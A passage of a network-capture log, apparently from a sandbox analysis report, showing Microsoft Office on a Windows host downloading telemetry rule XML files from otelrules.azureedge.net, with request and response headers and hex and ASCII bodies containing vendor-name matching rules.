</SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-r1d97b995777mdbwhC1TEBezag00000008r000000000bttd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-1777c6cb754gc8g6hC1TEB966c00000009k00000000085uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-185f5d8b95crwqd8hC1NYCps680000000a60000000008wgb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-185f5d8b95ctl8xlhC1NYCn94g0000000ac00000000010gd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-185f5d8b95c68cvnhC1NYCfn7s0000000a7000000000720s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-1777c6cb754n67brhC1TEBcp9c00000009hg00000000dvvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-r1d97b99577n5jhbhC1TEB74vn00000008q000000000dq2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-1777c6cb754gvvgfhC1TEBz4rg00000009fg00000000kamv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 5cb5275b-201e-0033-36eb-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-r1d97b99577kk29chC1TEBemmg00000008s000000000f2nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:29 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115829Z-1777c6cb754ww792hC1TEBzqu400000009b000000000c1ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:30 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115830Z-185f5d8b95c4bhwphC1NYCs8gw0000000acg00000000448c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:30 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115830Z-r1d97b995777mdbwhC1TEBezag00000008rg00000000ckxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 